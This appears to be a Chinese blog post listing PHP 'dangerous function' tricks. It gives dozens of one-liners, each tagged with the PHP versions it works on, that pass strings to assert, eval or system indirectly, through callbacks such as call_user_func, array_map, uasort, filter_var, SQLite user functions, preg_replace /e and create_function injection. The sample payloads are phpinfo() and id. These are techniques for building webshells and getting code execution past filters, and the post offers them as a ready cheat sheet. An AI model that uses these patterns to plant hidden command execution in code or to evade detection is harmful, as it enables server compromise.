php函数利用,PHP危险函数利用方式

【支持php5,不支持php7】【正则匹配成功才能执行】

echo preg_replace("/test/e",'phpinfo();',"footest");

【支持php5、php7】

call_user_func('assert','phpinfo();');

call_user_func('system','id');

call_user_func_array('assert',array('phpinfo();'));

call_user_func_array('system',array('id'));

【支持php5、php7】【说明:利用;}闭合,注入php语句,用/*注释后面的错误语句。】

$a = '1";}phpinfo();/*';

$b = 'foo';

$c = 'echo "'.$a.' + '.$b.' = ".(string)'.($a+$b).';';

$a_plus_b = create_function('$temp', $c);

【支持php5,不支持php7】【不支持eval、assert】

ob_start('system');echo "id";ob_end_flush();

【支持php5、php7.0.33、不支持php7.4】

array_filter(array('phpinfo();'),'assert');

array_filter(array('id'),'system');

array_map('assert',array('phpinfo();'));

array_map('system',array('id'));

【支持php5.4以上、不支持php7】【不支持eval,参数数组必须为变量】

$a = array('test','phpinfo();');uasort($a,'assert');

$a = array('test','id');uasort($a,'system');

$a = array('test' => 1, 'phpinfo();' => 2);uksort($a, 'assert');

$a = array('test' => 1, 'id' => 2);uksort($a, 'system');

$a = new ArrayObject(array('test', 'phpinfo();'));$a->uasort('assert');

$a = new ArrayObject(array('test', 'id'));$a->uasort('system');

$a = new ArrayObject(array('test' => 1, 'phpinfo();' => 2));$a->uksort('assert');

$a = new ArrayObject(array('test' => 1, 'id' => 2));$a->uksort('system');

【支持php5.4以上、php7.0.33、不支持php7.4】【不支持eval,参数数组必须为变量】

array_reduce(array(1), 'assert', 'phpinfo();');

array_reduce(array(1), 'system', 'id');

array_udiff(array('phpinfo();'),array(1),'assert');

array_udiff(array('id'),array(1),'system');

$a = array('phpinfo();'); array_walk($a, 'assert');

$a = array('id'); array_walk($a, 'system');

【支持php5、不支持php7】

$a = array('phpinfo();' => '|.*|e',);array_walk($a, 'preg_replace','');

$a = array('phpinfo();' => '|.*|e',);array_walk_recursive($a, 'preg_replace','');

【支持php5.5以上、支持php7】

mb_ereg_replace('.*', 'phpinfo();', '', 'e');

【支持php5、不支持php7】

echo preg_filter('|.*|e', 'phpinfo();', '');

【支持php5、php7.0.33、不支持php7.4】

register_shutdown_function('assert', 'phpinfo();');

register_shutdown_function('system', 'id');

declare(ticks=1);register_tick_function('assert', 'phpinfo();');

declare(ticks=1);register_tick_function('system', 'id'); #输出将会是两遍

filter_var('phpinfo();', FILTER_CALLBACK, array('options' => 'assert'));

filter_var('id', FILTER_CALLBACK, array('options' => 'system'));

filter_var_array(array('test' => 'phpinfo();'), array('test' => array('filter'=> FILTER_CALLBACK, 'options' => 'assert')));

filter_var_array(array('test' => 'id'), array('test' => array('filter'=> FILTER_CALLBACK, 'options' => 'system')));

$db = new PDO('sqlite:sqlite.db3');$db->sqliteCreateFunction('myfunc', 'assert', 1);$sth = $db->prepare("SELECT myfunc(:exec)");$sth->execute(array(':exec' => 'phpinfo();'));

$db = new PDO('sqlite:sqlite.db3');$db->sqliteCreateFunction('myfunc', 'system', 1);$sth = $db->prepare("SELECT myfunc(:exec)");$sth->execute(array(':exec' => 'id'));

$db = new SQLite3('sqlite.db3');$db->createFunction('myfunc', 'assert');$stmt = $db->prepare("SELECT myfunc(?)");$stmt->bindValue(1, 'phpinfo();', SQLITE3_TEXT);$stmt->execute();

$db = new SQLite3('sqlite.db3');$db->createFunction('myfunc', 'system');$stmt = $db->prepare("SELECT myfunc(?)");$stmt->bindValue(1, 'id', SQLITE3_TEXT);$stmt->execute();

【支持php5、php7】

preg_replace_callback('/.+/i', create_function('$a', 'return assert($a[0]);'),'phpinfo();');

preg_replace_callback('/.+/i', create_function('$a', 'return eval($a[0]);'),'phpinfo();');

preg_replace_callback('/.+/i', create_function('$a', 'return system($a[0]);'),'id');

【支持php5.5以上、php7】

mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),'phpinfo();');

mb_ereg_replace_callback('.+', create_function('$arr', 'return eval($arr[0]);'),'phpinfo();');

mb_ereg_replace_callback('.+', create_function('$arr', 'return system($arr[0]);'),'id');

【支持php5.4以上、php7】

$iterator = new CallbackFilterIterator(new ArrayIterator(array('phpinfo();',)), create_function('$a', 'assert($a);'));foreach ($iterator as $item){echo $item;}

$iterator = new CallbackFilterIterator(new ArrayIterator(array('phpinfo();',)), create_function('$a', 'eval($a);'));foreach ($iterator as $item){echo $item;}

$iterator = new CallbackFilterIterator(new ArrayIterator(array('id',)), create_function('$a', 'system($a);'));foreach ($iterator as $item){echo $item;}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值